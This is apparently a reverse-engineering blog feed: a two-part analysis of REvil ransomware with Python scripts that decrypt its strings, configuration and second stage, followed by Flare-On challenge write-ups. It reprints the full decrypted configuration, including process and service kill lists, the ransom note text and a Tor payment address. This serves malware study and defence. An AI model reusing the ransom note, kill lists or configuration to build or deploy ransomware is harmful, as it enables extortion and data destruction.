Reversing Revil Malware – Part 2 – String Obfuscation and Configuration Setup

This is the second in a series looking at part of the Revil malware. The first post covered a triage and unpacking of the first stage. The post will look at the high-level flow and look in-depth at the configuration embedded in the sample and some options.

Looking at the flow diagram (pictured on the left), there is a pretty straightforward flow to the sample. It initially sets itself up by resolving the import table, reading the embedded configuration data, and command-line arguments. After the initial configuration is loaded and processed, the sample starts to execute the encryption and beaconing activities. Finally, it cleans up after itself clearing itself from memory, deleting itself from disk, and exiting. Now that we have an overview of this stage, we will look at how strings are obscured and how the configuration is loaded and processed.

String Encryption

When you run a string identification tool on this binary, you find there are not many readable strings. This sample obscures the vast majority of its strings. When analyzing it, you see many calls similar to this example.

This function located at 0x0040575B uses RC4 to decrypt the strings from a data block located at either 0x0040F270 or 004101B0. These blocks contain both the key and the encrypted data itself. The function is passed a pointer to the data block, offsets of the key and encrypted data, key size, and data size. It returns the clear string as the last parameter of the function call.

In the function that I labeled “mw_run_rc4_decrypt” (0x0040646A), you find a fairly standard RC4 decryption set of routines. I have recreated this functionally in python, which I used heavily when analyzing this sample to label the string variables.

!pip3 install arc4
from arc4 import ARC4
import pefile
import binascii

secondstage = "file1.bin"

pe = pefile.PE(secondstage)
section_offest = 0xf000

for section in pe.sections:
    if b".data" in section.Name:
        hex_data_1 = section.get_data()[(0x101b0-section_offest):]
        hex_data_2 = section.get_data()[(0xf270-section_offest):(0xf17)]

def decrypt(data, position, keylen, datasize):
        
    key = data[position:position+keylen]
    cipher = ARC4(key)
    rc4_data = cipher.decrypt(data[position+keylen:position+keylen+datasize])
    
    # Convert to string
    string_data = ""
    for byte in rc4_data:
        string_data += chr(byte)
    
    return string_data

Revil Configuration

The encrypted configuration is stored in the .7tdlvx section of the binary. The data is RC4 encrypted like string data was. It also includes some tamper protection; there is a CRC32 value stored with the data. Below is the structure of the configuration section. I have labeled the data segments with numbers.

  1. Decryption Key
  2. crc32 Checksum
  3. Configuration Size
  4. Start of Encrypted configuration

The function shown in the image below is used to decrypt the data from the 7tdlvx section. When executed, the CRC32 value of the data is checked, and if it matches, the function is called to run the RC4 decryption. Pointers to the key, key length, address of the encrypted data, and size of the encrypted data are passed into the function to decrypt the data.

After the RC4 decryption, it returns a block of JSON data to a variable for further processing. Below is an abbreviated version of the configuration for readability. I put a full copy of it at the end of this post.

{'arn': False,
 'dbg': False,
 'dmn': '',
 'et': 0,
 'exp': False,
 'img': 'QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG... AHMAdAB1AGMAdABpAG8AbgBzAAAA',
 'nbody': 'LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD ... ACEAIAAhACEAIQAgACEAIQAAAA==',
 'net': False,
 'nname': '{EXT}-README.txt',
 'pid': '$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6',
 'pk': 'SrxAOJ8RkDIIb7jurGu3kJGcui9QRzgmLyRe3dUxNSI=',
 'prc': ['vsnapvss',
         'EnterpriseClient',
         'firefox',
         ..
         'excel',
         'msaccess',
         'agntsvc'],
 'spsize': 1,
 'sub': '58',
 'svc': ['QBCFMonitorService',
         ..
         'saphostexec'],
 'wfld': ['backup', 'bkp', 'archive'],
 'wht': {'ext': ['dll',
                 ..
                 'cur'],
         'fld': ['program files',
                 ..
                 '$recycle.bin'],
         'fls': ['ntuser.ini',
                 ..
                 'thumbs.db']},
 'wipe': True}

To assist in processing and analysis of the configuration I created the following python script to extract and parse the configuration file from the sample.

!pip3 install arc4
from arc4 import ARC4
import pefile
import binascii
import json
import pprint as pp

secondstage = "file1.bin"

try:
   pe
except NameError:
    pe = pefile.PE(secondstage)

key_len = 0x20
section_name = ".7tdlvx"

# located in the .7tdlvx section
for section in pe.sections:
    if bytes(section_name, 'utf-8') in section.Name:
        section_data = section.get_data()

key = section_data[:key_len]
crc = section_data[key_len:key_len+0x4]
config_len = int.from_bytes(section_data[key_len+0x4:key_len+0x8], "little")
print(hex(config_len))
data_3_hex = section_data[key_len+0x8:config_len+key_len+0x8]

print (len(data_3_hex))

cipher = ARC4(key)
dump = cipher.decrypt(data_3_hex)

# Store JSON to file
f = open("config_decoded.txt", "wb")
f.write(bytearray(dump))
f.close()

cfg = json.loads(dump[:-1])
pp.pprint(cfg)

As shown in the configuration example, the configuration is in a JSON-like format that needs to be parsed further to be used by the malware. In the first part of the parsing process, an array is built out, defining the elements and how to process them. The three elements in the example below are and string for the JSON key, an integer for the data type, and a function pointer to the function to parse the data.

// String with configuration Name
configuration_structure[0] = (int)&str_pk;
// Data Type
configuration_structure[1] = 5;
// Funcation to handle the data and write it to a Global Variable
configuration_structure[2] = (int)mw_cfg_pk_decoder;

The parser array along and decrypted configuration are passed into a function the walks through the JSON configuration. The function searches for the keys in the JSON configuration, and the parser function is called to process the configuration content.

Some examples of configuration values that take further processing are ‘pk’, ‘img’, and ‘nbody’. These are all base64 encoded strings that are decoded before being stored in memory. Using the following python code we can see the values stored in these keys.

import base64
import binascii

print("pk: " + str(binascii.hexlify(base64.b64decode(cfg['pk']))))
print("img: " + str(base64.b64decode(cfg['img']).decode('utf-16')))
print("nbody: " + str(base64.b64decode(cfg['nbody']).decode('utf-16'))
pk: b'4abc40389f119032086fb8eeac6bb790919cba2f504738262f245eddd5313522'
img: All of your files are encrypted!

Find {EXT}-README.txt and follow instuctions
nbody: ---=== Welcome. Again. ===---

[+] What's Happened? [+]

Your files have been encrypted and currently unavailable. You can check it. All files in your system have {EXT} extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data.

[+] What are our guarantees? [+]

It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee.
It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money.

[+] How to get access to our website? [+]

Use TOR browser:
  1. Download and install TOR browser from this site: https://torproject.org/
  2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion

When you visit our website, put the following data into the input form:
Key:


{KEY}


!!! DANGER !!!
DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to  restore your data - it may entail the private key damage and as a result all your data loss!
!!! !!! !!!
ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere.
!!! !!! !!

Conclusion

We covered a couple of the obfuscation functions in this stage of the malware, the use of RC4 in many places to hide plain text data making various functions harder to detect and reverse engineer. The configuration section allows for a lot of flexibility. I can imagine allowing for a fair amount of automation in the build system, simplifying the building and deploy time. The next post will cover the file encryption function section of the code.

Configuration Keys

The key below is a select list of some of the configuration options that affect the flow or functionality of the sample. There are many more keys shown in the full configuration.

Config KeyUsage
dbgDebug mode?
etFast or Full Encryption
dmnDomain to Beacon
netDo HTTP beaconing?
arnAdd Run Key?
nbodyRansom note text
nnameRansom note filename
imgDesktop Background Text
Configuration keys

Full configuration

{'arn': False,
 'dbg': False,
 'dmn': '',
 'et': 0,
 'exp': False,
 'img': 'QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAFIARQBBAEQATQBFAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA',
 'nbody': 'LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwArAF0AIABXAGgAYQB0ACcAcwAgAEgAYQBwAHAAZQBuAGUAZAA/ACAAWwArAF0ADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAaABhAHYAZQAgAGIAZQBlAG4AIABlAG4AYwByAHkAcAB0AGUAZAAgAGEAbgBkACAAYwB1AHIAcgBlAG4AdABsAHkAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUALgAgAFkAbwB1ACAAYwBhAG4AIABjAGgAZQBjAGsAIABpAHQALgAgAEEAbABsACAAZgBpAGwAZQBzACAAaQBuACAAeQBvAHUAcgAgAHMAeQBzAHQAZQBtACAAaABhAHYAZQAgAHsARQBYAFQAfQAgAGUAeAB0AGUAbgBzAGkAbwBuAC4AIABCAHkAIAB0AGgAZQAgAHcAYQB5ACwAIABlAHYAZQByAHkAdABoAGkAbgBnACAAaQBzACAAcABvAHMAcwBpAGIAbABlACAAdABvACAAcgBlAGMAbwB2AGUAcgAgACgAcgBlAHMAdABvAHIAZQApACAAYgB1AHQAIAB5AG8AdQAgAHMAaABvAHUAbABkACAAZgBvAGwAbABvAHcAIABvAHUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AIABPAHQAaABlAHIAdwBpAHMAZQAgAHkAbwB1ACAAYwBhAG4AIABOAEUAVgBFAFIAIAByAGUAdAB1AHIAbgAgAHkAbwB1AHIAIABkAGEAdABhAC4ADQAKAA0ACgBbACsAXQAgAFcAaABhAHQAIABhAHIAZQAgAG8AdQByACAAZwB1AGEAcgBhAG4AdABlAGUAcwA/ACAAWwArAF0ADQAKAA0ACgBJAHQAJwBzACAAagB1AHMAdAAgAGEAIABiAHUAcwBpAG4AZQBzAHMAIABhAG4AZAAgAHcAZQAgAGMAYQByAGUAIABvAG4AbAB5ACAAYQBiAG8AdQB0ACAAZwBlAHQAdABpAG4AZwAgAGIAZQBuAGUAZgBpAHQAcwAuACAASQBmACAAdwBlACAAZABvAG4AJwB0ACAAbQBlAGUAdAAgAG8AdQByACAAbwBiAGwAaQBnAGEAdABpAG8AbgBzACwAIABuAG8AYgBvAGQAeQAgAHcAaQBsAGwAIABkAGUAYQBsACAAdwBpAHQAaAAgAHUAcwAuACAASQB0ACAAZABvAGUAcwBuACcAdAAgAGgAbwBsAGQAIABvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdAAuACAAUwBvACAAeQBvAHUAIABjAGEAbgAgAGMAaABlAGMAawAgAHQAaABlACAAYQBiAGkAbABpAHQAeQAgAHQAbwAgAHIAZQBzAHQAbwByAGUAIAB5AG8AdQByACAAZgBpAGwAZQBzAC4AIABGAG8AcgAgAHQAaABpAHMAIABwAHUAcgBwAG8AcwBlACAAeQBvAHUAIABzAGgAbwB1AGwAZAAgAHYAaQBzAGkAdAAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAgAHcAaABlAHIAZQAgAHkAbwB1ACAAYwBhAG4AIABkAGUAYwByAHkAcAB0ACAAbwBuAGUAIABmAGkAbABlACAAZgBvAHIAIABmAHIAZQBlAC4AIABUAGgAYQB0ACAAaQBzACAAbwB1AHIAIABnAHUAYQByAGEAbgB0AGUAZQAuAA0ACgBJAHQAIABkAG8AZQBzAG4AJwB0ACAAbQBlAHQAdABlAHIAIABmAG8AcgAgAHUAcwAgAHcAaABlAHQAaABlAHIAIAB5AG8AdQAgAGMAbwBvAHAAZQByAGEAdABlACAAdwBpAHQAaAAgAHUAcwAgAG8AcgAgAG4AbwB0AC4AIABCAHUAdAAgAGkAZgAgAHkAbwB1ACAAZABvAG4AJwB0ACwAIAB5AG8AdQAnAGwAbAAgAGwAbwBzAGUAIAB5AG8AdQByACAAdABpAG0AZQAgAGEAbgBkACAAZABhAHQAYQAgAGMAYQB1AHMAZQAgAG8AbgBsAHkAIAB3AGUAIABoAGEAdgBlACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAeQBvAHUAcgAgAGYAaQBsAGUAcwAuACAASQBuACAAcAByAGEAYwB0AGkAYwBlACAALQAgAHQAaQBtAGUAIABpAHMAIABtAHUAYwBoACAAbQBvAHIAZQAgAHYAYQBsAHUAYQBiAGwAZQAgAHQAaABhAG4AIABtAG8AbgBlAHkALgANAAoADQAKAFsAKwBdACAASABvAHcAIAB0AG8AIABnAGUAdAAgAGEAYwBjAGUAcwBzACAAdABvACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlAD8AIABbACsAXQANAAoADQAKAFUAcwBlACAAVABPAFIAIABiAHIAbwB3AHMAZQByADoADQAKACAAIAAxAC4AIABEAG8AdwBuAGwAbwBhAGQAIABhAG4AZAAgAGkAbgBzAHQAYQBsAGwAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIABmAHIAbwBtACAAdABoAGkAcwAgAHMAaQB0AGUAOgAgAGgAdAB0AHAAcwA6AC8ALwB0AG8AcgBwAHIAbwBqAGUAYwB0AC4AbwByAGcALwANAAoAIAAgADIALgAgAFYAaQBzAGkAdAAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwA0AHQAbwA0ADMAeQBwADQAbQBuAGcAMgBnAGQAYwAzAGoAZwBuAGUAcAA1AGIAdAA3AGwAawBoAHEAdgBqAHEAaQByAGkAdABiAHYANAB4ADIAZQBiAGoAMwBxAHUAbgA3AHcAegA0AHkAMgBpAGQALgBvAG4AaQBvAG4ADQAKAA0ACgBXAGgAZQBuACAAeQBvAHUAIAB2AGkAcwBpAHQAIABvAHUAcgAgAHcAZQBiAHMAaQB0AGUALAAgAHAAdQB0ACAAdABoAGUAIABmAG8AbABsAG8AdwBpAG4AZwAgAGQAYQB0AGEAIABpAG4AdABvACAAdABoAGUAIABpAG4AcAB1AHQAIABmAG8AcgBtADoADQAKAEsAZQB5ADoADQAKAA0ACgANAAoAewBLAEUAWQB9AA0ACgANAAoADQAKACEAIQAhACAARABBAE4ARwBFAFIAIAAhACEAIQANAAoARABPAE4AJwBUACAAdAByAHkAIAB0AG8AIABjAGgAYQBuAGcAZQAgAGYAaQBsAGUAcwAgAGIAeQAgAHkAbwB1AHIAcwBlAGwAZgAsACAARABPAE4AJwBUACAAdQBzAGUAIABhAG4AeQAgAHQAaABpAHIAZAAgAHAAYQByAHQAeQAgAHMAbwBmAHQAdwBhAHIAZQAgAG8AcgAgAGEAbgB0AGkAdgBpAHIAdQBzACAAcwBvAGwAdQB0AGkAbwBuAHMAIAB0AG8AIAAgAHIAZQBzAHQAbwByAGUAIAB5AG8AdQByACAAZABhAHQAYQAgAC0AIABpAHQAIABtAGEAeQAgAGUAbgB0AGEAaQBsACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABkAGEAbQBhAGcAZQAgAGEAbgBkACAAYQBzACAAYQAgAHIAZQBzAHUAbAB0ACAAYQBsAGwAIAB5AG8AdQByACAAZABhAHQAYQAgAGwAbwBzAHMAIQANAAoAIQAhACEAIAAhACEAIQAgACEAIQAhAA0ACgBPAE4ARQAgAE0ATwBSAEUAIABUAEkATQBFADoAIABJAHQAJwBzACAAaQBuACAAeQBvAHUAcgAgAGIAZQBzAHQAIABpAG4AdABlAHIAZQBzAHQAcwAgAHQAbwAgAGcAZQB0ACAAeQBvAHUAcgAgAGYAaQBsAGUAcwAgAGIAYQBjAGsALgAgAEYAcgBvAG0AIABvAHUAcgAgAHMAaQBkAGUAIAB3AGUAIAAoAHQAaABlACAAYgBlAHMAdAAgAHMAcABlAGMAaQBhAGwAaQBzAHQAcwAgAGkAbgAgAHQAaABpAHMAIABzAHAAaABlAHIAZQApACAAcgBlAGEAZAB5ACAAdABvACAAbQBhAGsAZQAgAGUAdgBlAHIAeQB0AGgAaQBuAGcAIABmAG8AcgAgAHIAZQBzAHQAbwByAGkAbgBnACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAGQAbwAgAG4AbwB0ACAAaQBuAHQAZQByAGYAZQByAGUALgANAAoAIQAhACEAIAAhACEAIQAgACEAIQAAAA==',
 'net': False,
 'nname': '{EXT}-README.txt',
 'pid': '$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6',
 'pk': 'SrxAOJ8RkDIIb7jurGu3kJGcui9QRzgmLyRe3dUxNSI=',
 'prc': ['vsnapvss',
         'EnterpriseClient',
         'firefox',
         'infopath',
         'cvd',
         'tv_x64.exe',
         'VeeamTransportSvc',
         'steam',
         'encsvc',
         'mydesktopservice',
         'outlook',
         'synctime',
         'ocssd',
         'SAP',
         'cvfwd',
         'bengien',
         'vxmon',
         'bedbh',
         'ocomm',
         'ocautoupds',
         'raw_agent_svc',
         'oracle',
         'disk+work',
         'powerpnt',
         'saposcol',
         'sqbcoreservice',
         'sapstartsrv',
         'beserver',
         'saphostexec',
         'dbeng50',
         'isqlplussvc',
         'CVODS',
         'DellSystemDetect',
         'CVMountd',
         'TeamViewer.exe',
         'dbsnmp',
         'thunderbird',
         'mspub',
         'wordpad',
         'visio',
         'benetns',
         'QBCFMonitorService',
         'TeamViewer_Service.exe',
         'tv_w32.exe',
         'QBIDPService',
         'winword',
         'thebat',
         'VeeamDeploymentSvc',
         'avagent',
         'QBDBMgrN',
         'mydesktopqos',
         'xfssvccon',
         'sql',
         'tbirdconfig',
         'CagService',
         'pvlsvr',
         'avscc',
         'VeeamNFSSvc',
         'onenote',
         'excel',
         'msaccess',
         'agntsvc'],
 'spsize': 1,
 'sub': '58',
 'svc': ['QBCFMonitorService',
         'thebat',
         'dbeng50',
         'winword',
         'dbsnmp',
         'VeeamTransportSvc',
         'disk+work',
         'TeamViewer_Service.exe',
         'firefox',
         'QBIDPService',
         'steam',
         'onenote',
         'CVMountd',
         'cvd',
         'VeeamDeploymentSvc',
         'VeeamNFSSvc',
         'bedbh',
         'mydesktopqos',
         'avscc',
         'infopath',
         'cvfwd',
         'excel',
         'beserver',
         'powerpnt',
         'mspub',
         'synctime',
         'QBDBMgrN',
         'tv_w32.exe',
         'EnterpriseClient',
         'msaccess',
         'ocssd',
         'mydesktopservice',
         'sqbcoreservice',
         'CVODS',
         'DellSystemDetect',
         'oracle',
         'ocautoupds',
         'wordpad',
         'visio',
         'SAP',
         'bengien',
         'TeamViewer.exe',
         'agntsvc',
         'CagService',
         'avagent',
         'ocomm',
         'outlook',
         'saposcol',
         'xfssvccon',
         'isqlplussvc',
         'pvlsvr',
         'sql',
         'tbirdconfig',
         'vxmon',
         'benetns',
         'tv_x64.exe',
         'encsvc',
         'sapstartsrv',
         'vsnapvss',
         'raw_agent_svc',
         'thunderbird',
         'saphostexec'],
 'wfld': ['backup', 'bkp', 'archive'],
 'wht': {'ext': ['dll',
                 'scr',
                 'icns',
                 'ics',
                 'nomedia',
                 'sys',
                 'ps1',
                 'hlp',
                 'lock',
                 'spl',
                 'msi',
                 'mpa',
                 'wpx',
                 'ocx',
                 'drv',
                 'msp',
                 'cmd',
                 'rtp',
                 'key',
                 'deskthemepack',
                 'bat',
                 'ico',
                 'mod',
                 'prf',
                 'diagcfg',
                 'cpl',
                 'adv',
                 'hta',
                 'ani',
                 '386',
                 'bin',
                 'diagcab',
                 'msu',
                 'rom',
                 'diagpkg',
                 'shs',
                 'themepack',
                 'theme',
                 'com',
                 'cab',
                 'msc',
                 'icl',
                 'exe',
                 'idx',
                 'nls',
                 'lnk',
                 'msstyles',
                 'cur'],
         'fld': ['program files',
                 'mozilla',
                 'google',
                 'tor browser',
                 'program files (x86)',
                 'boot',
                 'system volume information',
                 'intel',
                 'msocache',
                 'programdata',
                 'application data',
                 'windows.old',
                 '$windows.~ws',
                 '$windows.~bt',
                 'appdata',
                 'perflogs',
                 '$recycle.bin'],
         'fls': ['ntuser.ini',
                 'autorun.inf',
                 'ntldr',
                 'iconcache.db',
                 'ntuser.dat',
                 'boot.ini',
                 'bootsect.bak',
                 'desktop.ini',
                 'ntuser.dat.log',
                 'bootfont.bin',
                 'thumbs.db']},
 'wipe': True}

Flare-on 2 – Challenge 3

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In the third challenge, you are greeted with a nice goat named Elfie that when you are typing characters show up on the screen. As always I start off by checking out what kind of binary I am looking at

λ file elfie
elfie: PE32 executable (console) Intel 80386, for MS Windows

As I said we are greeted by thie goat that eats magic keys

After doing some initial analysis in Ghidra found some strings that indicate that this file might be a python executable.

Additionally, the icon embedded in the binary should have been a giveaway. I guessed it was probably a pyInstaller executable. I ran it through pyinstextractor.py to expand it out and get a copy of the python source to analyze.

C:\Users\IEUser\Desktop
λ pyinstxtractor.py elfie.exe
C:\Tools\pyinstxtractor\pyinstxtractor.py:86: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
[*] Processing elfie.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 12034944 bytes
[*] Found 26 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python27 to prevent extraction errors(if any) during unmarshalling
[*] Found 244 files in PYZ archive
[+] Possible entry point: _pyi_bootstrap
[+] Possible entry point: pyi_carchive
[+] Possible entry point: elfie
[*] Successfully extracted pyinstaller archive: elfie.exe

You can now use a python decompiler on the pyc files within the extracted directory

C:\Users\IEUser\Desktop

I found the file elfie and opened it in VSCode to look at the contents.

it looks to be full of Base64 strings that are concatenated together, decoded, and executed.

Strings

I changed the final operation to print the encoded python code for further analysis.

The next layer down looked more like normal python code with obfuscated variable names.

Even looking at the obfuscated code the is pretty obvious but I wanted to clean up some of the variable names to make sure I was not missing anything else.

After reversing the string the flag is revealed

and Elfie is happy!

Reversing Revil Malware – Part 1 – Stage 1 Unpacker

This is the first in a series looking at part of the REvil malware. I will start off by showing a brief triage overview of the sample and then dive into the initial details of the stage 1 unpacker. Let us get into it!

Initial Triage

The Revil (aka Sodinokibi) malware is ransomware that encrypts files on a victim’s disk and leaves a note to head to a Tor link to send payment to decrypt your files. The sample I am analyzing has the following has the hash.

λ sha256sum.exe revil.bin
329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483 *revil.bin

Uploading the sample to Virustotal showed that it was detected as malicious by the majority of antivirus engines.

VirusTotal

I ran the sample using the sandbox Any.Run, and during the run, you can see it encrypt the files and change the background to instruct the user to look at the ransom note.

After the quick triage showing what this sample does to the victim’s computer, we will start to dive deeper into various aspects of how this sample operates, starting with the initial unpacking.

Unpacking

The Revil malware has two stages, the first stage contains an RC4 encrypted second-stage payload that is unpacked into memory. The second stage payload executes the ransomware functions encrypting files on disk. This executable follows a few steps where the second stage data is decrypted, placed into memory, and then executed.

The main function reflects this flow, looking at the marked-up IDA de-compiler screenshot. You can see the RC4 key copied into a memory buffer used to set up the RC4 KSA.

The resulting S array is passed into the decryption payload function.

The decryption loop pulls data from a pointer I named PAYLOAD_DATA that points to the start of the .enc section of the binary file. The data is decrypted and written back into the .enc section.

To simplify second stage extraction for further analysis, I have written a simple python script to extract the payload, decrypting it, and writing the second stage content to disk.

import pefile
import ARC4

pe = pefile.PE(firststage)

key = "kZlXjn3o373483wb6ne1LIBNWD3KWBEK"

section_name = "enc"

for section in pe.sections:
    if bytes(section_name, 'utf-8') in section.Name:
        section_data = section.get_data()
        
cipher = ARC4(key)
dump = cipher.decrypt(section_data)   

print (dump[:20])

f = open("stage2.bin", "wb")
f.write(bytearray(dump))
f.close()

After this data is decrypted, it is loaded into memory using Windows Native API calls. First, it allocates a memory space using NtAllocateVirtualMemory and then writes the decrypted data to the newly allocated memory location.

It then dynamically resolves some Imports and executes the second stage code by calling into ecx, which points to the new memory region.

Close out

Now the second stage is unpacked and running! In the next post in this series, we will cover how to extract the configuration and parse the configuration data.

Flare-on 2 – Challenge 2

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

The second challenge from this season built on the first challenge. It was another password entry challenge but with a more complicated password encoding scheme.

First things first I validated what kind of file I was looking at.

λ file very_succes
very_succes: PE32 executable (console) Intel 80386, for MS Windows

When running the file I entered some test data to see how it looked to a user.

I switched back to Ghidra to do some static analysis on this binary and found the area of code that looked to handle the password comparison. The first check that jumped out to me was the length check that checked to see if the password was 37 characters long.

Then I found the encoding and matching bulk of the code which I have commented below. This block of code uses a combination of XOR and Bit-wise shifting of the characters to encode each character of the input to match it against the encoded password.

It took me a little bit to see that the SCASB instruction at 0x4010c8 is used to set the zero flag to 1 if the encoded value does not match and jump to a failure condition. Otherwise is set to 0 for success and continues the loop.

I ran the binary using x64dbg to walk through and monitor execution manually setting the Zero Flag to check how the algorithm operated. I also identified the location of the encoded key stored in EDI and copied out that data in hex.

AFAAADEB AEAAECA4 BAAFAEAA 8AC0A7B0 BC9ABAA5 A5BAAFB8 9DB8F9AE 9DABB4BC B6B3909A A8

As with the first challenge in this season I crudely implemented the encoder in python and using brute force was able to successfully generate the key.

Decoder code

encoded = [0xAF, 0xAA, 0xAD, 0xEB, 0xAE, 0xAA, 0xEC, 0xA4, 0xBA, 0xAF, 0xAE, 0xAA, 0x8A, 0xC0, 0xA7, 0xB0, 0xBC, 0x9A, 0xBA, 0xA5, 0xA5, 0xBA, 0xAF, 0xB8, 0x9D, 0xB8, 0xF9, 0xAE, 0x9D, 0xAB, 0xB4, 0xBC, 0xB6, 0xB3, 0x90, 0x9A, 0xA8]

result_key = ""
    
def xchg(s1, s2):
    temp = s1
    s1 = s2
    s2 = temp
    
    return s1, s2

def decoder(text_data):
    global result_key
   
    success_count = 0
    
    bx = 0
    dx = 0
    key_store = 0 # stack
    cl = 37
    eax = 0x1901c7

    for i in text_data:
        dx = bx
        dx = dx & 0x3
        ah = (eax & 0x0000FF00 > 1)
        al = (eax & 0x000000FF)

        dl = (dx & 0x00FF)
        al = (i ^ al)
        dl, cl = xchg(dl, cl)
        ah, cf = ah << cl, ah &amp; 1
        al = al + ah + cf
        ax = al + (ah*0x100)
        dl, cl = xchg(dl, cl)

        dx = 0
        dl = 0
        ax = ax &amp; 0xff
        output = ax
        bx = bx + (ax &amp; 0xff)

        cl = cl - 0x1
        if encoded[cl] != output:
            pass
        else:
            result_key += chr(i)
            success_count += 1
            
    return success_count

test = [65] * 37

for element in range(len(test)):            
    for i in range(0x21,0x7e):
        test[element] = i

        succ_coun = decoder(test)
        if succ_coun < element+1:
            pass
            result_key = ""

        else:
            print (succ_coun, element, chr(i))
            print("Key:", result_key)
            break
            
print (test)
print ("resultkey: \"" + result_key + "\"")
    

Flare-on 2 – Challenge 1

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

The first challenge in the 2015 season on Flare On was a pretty easy enter the password type of challenge. I started off by opening the extracted file in IDA and running it in the debugger. I stepped to the section of code that evaluates the input versus the input

Key encoding and comparison routine

I extracted the encoded key from memory

Encoded Key data

Then I re-implemented the XOR encryption in python and generated the key from the data.

Jupyter notebook key decoder

Which successfully worked!

Successful Key Entry

Flare-on 1 – Challenge 5 – 5get_it

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

Challenge 5 brings us a DLL file, I mainly used Ghidra to statically analyze this file.

5get_it: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

After Ghidra loaded and analyzed the file, I found this function at 0x1000a680 that does a few things, first to Reads and writes the Run key to setup persistence for this DLL file, and it also copies itself to the C:\windows\system32 directory as svchost.dll to look like a legitimate DLL file. Next, it executes a function that looks to act as a key logger.

This function sets up a buffer to store keystrokes into them write them out to a file named svchost.log. Looking at the mw_key_press_handler function we see how it handles the key presses.

This function has various handler function for each ASCII value for most upper case letters, lower case letter, number, and some other characters. However not all have handler functions, so I took a closer look at the functions.

Below are three examples of functions, some of the functions would set a global variable to 1 or 0 depending on if another variable was set, and/or call another function that sets a group of global variables to 0. Not all of the functions returned the same letter that was pressed. As shown below “`” returns the number “0”.

Returns same character
Returns different character from input
Calls a function to reset all global vars

Taking a closer look at the global variables that are manipulated I could see a pattern of them being written or read depending on the keypress handler functions.

Went through the listing of functions and created a list of the key presses and the return values and saw what looks like the key.

Memory AddressInput CharOutput Char
DAT_10019460Ll
DAT_10019464`0
DAT_10019468Gg
DAT_1001946cGg
DAT_10019470Ii
DAT_10019474Nn
DAT_10019478Gg
DAT_1001947cDd
DAT_10019480Oo
DAT_10019484Tt
DAT_10019488Uu
DAT_1001948cRr
DAT_10019490Dd
DAT_10019494Oo
DAT_10019498Tt
DAT_1001949ce5
DAT_100194a0Tt
DAT_100194a4Rr
DAT_100194a8O0
DAT_100194acKk
DAT_100194b0Ee
DAT_100194b4`5
DAT_100194b8Aa
DAT_100194bcTt
DAT_100194c0Ff
DAT_100194c4Ll
DAT_100194c8Aa
DAT_100194ccRr
DAT_100194d0Ee
DAT_100194d4Dd
DAT_100194d8Aa
DAT_100194dcSs
DAT_100194e0Hh
DAT_100194e4Oo
DAT_100194e8Nn
DAT_100194ecDd
DAT_100194f0Oo
DAT_100194f4Tt
DAT_100194f8Cc
DAT_100194fcOo

But this table does not include the letter “m” at the end of “com” the handler for “M” has an extra function that it calls.

This function that the handler calls has a large number of local variables and makes Ghidra very sad, but its main function shows a message box with the flag: l0gging.ur.5trok5@flare-on.com

Flare-on 1 – Challenge 4 – Sploitastic

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

We start off with a PDF file in Challenge 4, I start off by dumping the contents of the streams using pdf-parser from Didier Stevens PDF-tools

pdf-parser.py -f APT9001.orig.pdf > apt5.txt

Looking through the content I find a block of Javascript code that looks interesting

After copying it out and some manual de-obfuscation I find a block of what looks to be hex-encoded shellcode. I grabbed a script to decode it into a binary file to run and debug.

from binascii import unhexlify as unhx

#encoded = open('encoded.txt').read() # The shellcode dump
out = open('shellcode.bin', 'wb')

